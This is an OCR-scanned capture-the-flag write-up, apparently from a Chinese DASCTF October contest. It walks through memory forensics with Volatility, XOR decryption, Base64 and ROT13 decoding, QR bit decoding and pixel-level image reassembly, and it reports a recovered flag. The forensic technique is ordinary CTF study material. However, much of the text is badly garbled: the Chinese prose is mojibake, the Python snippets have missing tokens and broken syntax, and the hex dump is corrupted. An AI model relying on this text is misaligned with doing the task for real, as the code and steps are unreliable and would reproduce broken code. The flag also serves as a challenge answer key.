dumpfiles i k75 2.

X— B e NZRAKkeyZ K, BEERBE L.

B Flpstree, &F —4cmdi#fE, cmdscan—F, KA T5201314

[~/Desktop]

111 123 W cmdscan
Volatility Foundation Volatility Framework 2.6
AEAEEAAAAAAAAEAAA kA A Ak Ak Ak Ak hkhkhhkhkhkhkhkhkhkhkhhhkhkhkhkhkhkhhkhhhii

. Pid

Application: cmd

ed: @ LastDisplayed:
50

on: DumpIt.
-1 LastDisp z

FirstCommand:
ProcessHandle:

ZATie# RidF BA XA MATE RN, WEMZM 75201314, #filescan— 5201314, 1§%|—/Mips



filescan 5201314

® R—r— \Device\HarddiskVolume2\Users\Public\Documents®

dumpfilestik, R—AMIN% K48, ohhhh3XfF KN Hikeyt A 2 %5

hirt|
*

BNERE

ANIER A S

(HRE®) exp * exp

BTER

=EEEE i ErEs

E R ey M, Y AREBRABREN, Zikmimikaz—F, R

R S R, E4E RN R py i

fp.read()
i in (o, (CEICIDE

result = struct.pack( , data[i] (*key[1i (key)1))
fs.write(result)

1E 37 5t 2 NI FF 46 F @# Sunimportance SCHERITINEE F,  Bb—Avkey, HkeyRI AT &R,
RIEKeyIPLBUNIBL, IELFHE R ohhh3C 4 P i xzkbyyds!

HANEHARE T, BE—AKXHNGCIF89al) X, A2 A



import struct

key

fs.read()
for i in (o, (data)):
result struct.pack( , data[i]
fp.write(result)
fp.close()
fs.close()

EPRE AT LRI R — A ET R

ERFITZEMERK T T

“"

LA

RARXERmEREIE T, ZRIEREBHRER, giffI%=mAaES7 8 INUANFIA

set o1 2 3 4 5 6 7 8 9 A B C D E
oooo 47 49 46 38 39 61 77 00 67 00 F7 C7 00 Db 95
0010 89 7& 65 D9 9B 95 58 4A 32 69 59 46 ES B4 AB
0020 76 BB 95 85 6A 76 6D 58 51 52 4E BS BA BS ES
0030 FA CF B3 AB AD B2 AE C8 C4 B9 EB EA E7 6F 72
0040 6D B3 48 C9 8C 84 C9 87 79 F7 C8 CV D9 A4 9A
00os0 8B 78 FS EB EA F4 FB F9 B7 C9 CC FO De D2 C8
onog0  wC BE 93 92 EA B7 B4 EA E3 D9 9 CA 6 DS ES

Hoe 7 HA%R, 897 AR, HA/NmFH#FT .

8A
Bl
F9
6E
AC
78
EC

GIF8%aw g #8 7R%
Helg F I21VFIRE
VB, jvmX QRN 1 68) ?

BIFAMMEA R
mcHiE BHRE RS 2

WERTS CE B
10 48 5 R A 58 7

5 H0077, ®iA0067, #EekEI0077, RIFKE—WIKKHEfag, HEWER, RE— T, 7EH115W kM fag



giveyourflag
EgaEE, —EEMEMILT
BAMAE—T

zipfile

L zipfile.ZipFile
1

name f.namelist (%]
name
f.extractall

f zipfile.ZipFile(name

2 JE i — A "base64 N 215 B Al 15 Zlflag



. — 1 th: 56
Recipe S N | Input e

lines: 1

RORWR1dJezdnZ3FnbGwzanlla2RuY3N@aTlpY3BjM2Z1YjB2NWOwQ==
From Base64
Alphabet
A-Za-zB-9+/= T

Remove non-alphabet chars

ROT13
Amount
Rotate lower case Rotate upper _“goun .
chars case chars

time: 1ms
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Data blocks :

[*01000001","11100110","10000111","01000111","01000111","00000011","10100010","11110010","1111011

Final data hits :
010000011110011010000111010001110100011100000011101000101111001011110111001101101110000111

[0100] [00011110]
[011010000110111010001101110100011011100000010011101000(100101111001001011110110111001101101

Mode Indicator : 8-bit Mode (0100)
Character Count Indicator : 30
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Preview Settings
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Last build: 2 years ago - v9 supports multiple inputs and a Node API allowing you to program with CyberChef!
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from PIL import Image
pic Image. (
b pic.size
[]
[]
[]

r2.append(pic.getpixel((x, y))[@]
g2.append(pic.getpixel((x, y))[1]
b2.append(pic.getpixel((x, y))[2]

.append(r2)
.append(g2)
.append(b2)
[]
[]
[]
new ( , (a, b*3), 255)
(0, (r1)*3, 3):
(len(ri[e])):
_1.putpixel((x, y), gl[y//3][x] 255)
_1.putpixel((x, y+1), r1[y//3][x] 255)
_1.putpixel((x, y+2), bi[y//3][x] 255)

REM— T OEHEAR RS, FEEIAE2flag(X BinKA rHkE).




w445 Blflag:

DASCTF{13833babbd434be3e2882f507ce5f8ae}



	DASCTF Oct X 吉林工师 欢迎来到魔法世界～ WriteUp
	WEB
	迷路的魔法少女

	REVERSE
	魔法叠加
	马猴烧酒

	PWN
	搬山的魔法少女

	MISC
	WELCOME DASCTFxJlenu
	不可以色色
	魔法信息
	阴游大师
	英语不好的魔法少女
	Twinkle Twinkle Starry Night
	卡比卡比卡比
	giveyourflag
	彁彁
	闯入魔塔的魔法少女
	虚幻三


